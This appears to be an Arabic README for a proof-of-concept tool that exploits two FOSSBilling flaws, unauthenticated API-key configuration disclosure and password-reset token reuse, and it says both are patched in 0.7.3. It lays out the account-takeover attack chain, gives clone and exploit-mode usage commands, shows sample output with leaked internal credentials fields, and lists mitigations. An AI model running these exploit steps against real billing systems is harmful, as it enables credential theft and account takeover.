
FOSSBilling CVE-2026-53647 & CVE-2026-53646 PoC — كشف مفتاح API بدون مصادقة وإعادة استخدام رمز إعادة تعيين كلمة المرور
███████╗ ██████╗ ███████╗██╗ ██╗██╗██╗ ██╗ ███████╗██████╗
██╔════╝██╔═══██╗██╔════╝██║ ██╔╝██║██║ ██║ ██╔════╝██╔══██╗
█████╗ ██║ ██║███████╗█████╔╝ ██║██║ ██║ █████╗ ██████╔╝
██╔══╝ ██║ ██║╚════██║██╔═██╗ ██║██║ ██║ ██╔══╝ ██╔══██╗
██║ ╚██████╔╝███████║██║ ██╗██║███████╗███████╗███████╗██║ ██║
╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝╚═╝╚══════╝╚══════╝╚══════╝╚═╝ ╚═╝
صنع بواسطة 7megaumka7
أداة إثبات مفهوم (PoC) لثغريتين أمنيتين مقبولتين في GitHub Security Advisory في FOSSBilling الإصدار 0.7.2 فأقل
FOSKiller هي أداة إثبات مفهوم توضح ثغريتين أمنيتين في FOSSBilling — وهي منصة فوترة وإدارة عملاء مفتوحة المصدر. تم الإفصاح عن كلتا الثغرتين بشكل مسؤول من خلال برنامج GitHub Security Advisory وتم تصحيحهما بالكامل في FOSSBilling 0.7.3+.
الأداة مخصصة لـ:
يعيد نقطة النهاية /api/guest/serviceapikey/get_info الخاصة بالضيف تكوين الخدمة بالكامل — بما في ذلك الحقول custom_* وبيانات اعتماد API وأسماء المضيفين وكلمات المرور — دون الحاجة إلى أي مصادقة. يمكن للمهاجم الذي يعرف أو يكتشف مفتاح API صالح استرداد تكوين الخدمة الخلفي بالكامل من نقطة نهاية عامة.
التأثير: الكشف عن بيانات اعتماد الخدمة وأسماء المضيفين الداخلية وأسرار API.
عندما يطلب عميل عمليتي إعادة تعيين كلمة مرور متتاليتين لنفس الحساب، يصدر التطبيق رمزًا جديدًا ولكنه لا يبطل الرمز السابق. يمكن للمهاجم الذي التقط الرمز الأول سابقًا استخدامه لتعيين كلمة مرور جديدة حتى بعد أن يكمل المستخدم الشرعي عملية إعادة التعيين الخاصة به.
سلسلة الهجوم:
1. المهاجم يرسل POST /api/guest/client/reset_password → يلتقط الرمز T1
2. الضحية يبدأ إعادة تعيين خاصة به → يصدر التطبيق T2، يظل T1 صالحًا
3. المهاجم يرسل POST /api/guest/client/update_password?hash=T1 مع كلمة مرور يختارها
4. يحصل المهاجم على وصول دائم بغض النظر عن إتمام الضحية لإعادة التعيين
التأثير: استيلاء دائم على حساب أي عميل يمكن اعتراض بريده الإلكتروني لإعادة التعيين.
إذا كانت التبعيات مفقودة، يكتشف البرنامج النصي ذلك عند التشغيل ويعرض تثبيتها تلقائيًا.
الاستنساخ وتثبيت التبعيات:
git clone https://github.com/7megaumka7/FOSKiller.git
cd FOSKiller
pip install -r requirements.txt
أو التشغيل دون تثبيت مسبق — سيطالب البرنامج النصي بتثبيت الحزم المفقودة عند التشغيل الأول.
python fossbilling_poc.py --target URL [--key KEY] [--email EMAIL]
[--check-only | --exploit]
[--force] [--output FILE]
[--timeout SEC] [--proxy URL]
--check-only و --exploit متنافيان.
الكشف فقط — تحقق من كلا CVE دون استخراج بيانات:
python fossbilling_poc.py \
--target https://billing.example.com \
--key myservicekey \
--email [email protected] \
--check-only
الاستخراج الكامل وتوثيق سلسلة الهجوم:
python fossbilling_poc.py \
--target https://billing.example.com \
--key myservicekey \
--email [email protected] \
--exploit
حفظ النتائج في JSON والتوجيه عبر Burp Suite:
python fossbilling_poc.py \
--target https://billing.example.com \
--key myservicekey \
--email [email protected] \
--output results.json \
--proxy http://127.0.0.1:8080
اختبار إصدار غير معروف أو مصحح بالفعل:
python fossbilling_poc.py \
--target https://billing.example.com \
--key myservicekey \
--force
[*] فحص https://billing.example.com …
[+] تم الكشف عن الإصدار: 0.7.1
[+] CVE-2026-53647 في النطاق المتأثر (>=0.5.3 <=0.7.2): نعم
[+] CVE-2026-53646 في النطاق المتأثر (>=0.5.6 <=0.7.2): نعم
── CVE-2026-53647 │ كشف تكوين مفتاح API دون مصادقة ─────────
[*] الهدف : https://billing.example.com/api/guest/serviceapikey/get_info?key=***
[*] الوضع : استخراج كامل
[*] HTTP : 200
[+] ثغرة موجودة — أعاد نقطة النهاية 4 حقل(حقول) حساسة دون مصادقة
الحقل القيمة
──────────────────────────────────────────────────────────────────────
custom_hostname db.internal.example.com
custom_username fossbilling_db
custom_password [مخفى في هذا المثال]
custom_api_secret [مخفى في هذا المثال]
── CVE-2026-53646 │ إعادة استخدام رمز إعادة تعيين كلمة المرور / الاستيلاء على الحساب ─────
[*] إرسال طلب إعادة تعيين #1 …
[*] HTTP 200 | 142 ms | 2026-06-12T10:00:00.000Z
[*] إرسال طلب إعادة تعيين #2 (نفس البريد الإلكتروني) …
[*] HTTP 200 | 138 ms | 2026-06-12T10:00:01.000Z
[*] فارق الوقت بين الطلبات : 0.643s
[!] نجح كلا طلبي إعادة التعيين — نقطة النهاية تقبل إعادة التعيين المتكررة دون تحديد معدل.
── الملخص ─────────────────────────────────────────────────────────────
CVE GHSA الشدة الحالة
──────────────────────────────────────────────────────────────────────────────────
CVE-2026-53647 GHSA-737q-9gpr-6mpq متوسط (CVSS 6.9) ثغرة موجودة
CVE-2026-53646 GHSA-vp66-w6rc-x32p مرتفع (CVSS 7.7) يحتمل وجود ثغرة
الترقية إلى FOSSBilling >= 0.7.3، والذي يعالج كلتا الثغرتين.
إذا لم يكن التصحيح الفوري ممكنًا:
| CVE | الإجراء المؤقت |
|---|---|
| CVE-2026-53647 | منع الوصول إلى /api/guest/serviceapikey/ على مستوى خادم الويب أو WAF |
| CVE-2026-53646 | تنفيذ إبطال الرمز عند إعادة الإصدار؛ إضافة تحديد معدل لنقطة نهاية إعادة التعيين |
تم الإبلاغ عن كلتا الثغرتين إلى مسؤولي FOSSBilling من خلال برنامج GitHub Security Advisory قبل هذا النشر.
هذه الأداة مقدمة للأغراض التعليمية ولاختبار الأمن المصرح به فقط.
استخدم هذه الأداة فقط ضد الأنظمة التي تملكها أو التي حصلت على إذن كتابي صريح لاختبارها. الاستخدام غير المصرح به ضد أنظمة طرف ثالث غير قانوني بموجب قانون الاحتيال وإساءة استخدام الحاسوب (CFAA)، وقانون إساءة استخدام الحاسوب، والتشريعات المماثلة في جميع أنحاء العالم.
يتحمل المؤلف أي مسؤولية عن سوء الاستخدام أو الضرر أو العواقب القانونية الناشئة عن استخدام هذه الأداة. باستخدام هذه الأداة فإنك توافق على أنك المسؤول الوحيد عن أفعالك.
الباحث والمؤلف: 7megaumka7
اكتشاف الثغرة وتحليلها والإفصاح المسؤول وتطوير الأداة.
| الاستشارة | CVE | النوع | CVSS | المتأثر |
|---|
| GHSA-737q-9gpr-6mpq | CVE-2026-53647 | كشف تكوين مفتاح API دون مصادقة | 6.9 متوسط | >= 0.5.3, <= 0.7.2 |
| GHSA-vp66-w6rc-x32p | CVE-2026-53646 | إعادة استخدام رمز إعادة تعيين كلمة المرور → الاستيلاء على الحساب | 7.7 مرتفع | >= 0.5.6, <= 0.7.2 |
| الخيار | مطلوب | الوصف |
|---|
--target URL | نعم | عنوان URL الأساسي لتثبيت FOSSBilling |
--key KEY | لـ CVE-2026-53647 | مفتاح API للاختبار |
--email EMAIL | لـ CVE-2026-53646 | البريد الإلكتروني للعميل للاختبار |
--check-only | لا | وضع الكشف — تأكيد الثغرة دون استخراج البيانات |
--exploit | لا | استخراج كامل + توثيق سلسلة الهجوم |
--force | لا | تخطي فحص نطاق الإصدار |
--output FILE | لا | حفظ النتائج الكاملة في ملف JSON |
--timeout SEC | لا | مهلة HTTP بالثواني (افتراضي: 10) |
--proxy URL | لا | وكيل HTTP (مثال: http://127.0.0.1:8080) |
| الوضع | الخيار | ما يفعله |
|---|
| الكشف | --check-only | يؤكد وجود الثغرة. لا يعرض أو يستخرج القيم الحساسة. |
| افتراضي | (بدون خيار وضع) | يؤكد الحالة ويظهر أدلة أساسية. |
| الاستغلال | --exploit | يستخرج جميع الحقول المسربة؛ يوثق سلسلة الاستيلاء الكاملة على الحساب مع بيانات التوقيت. |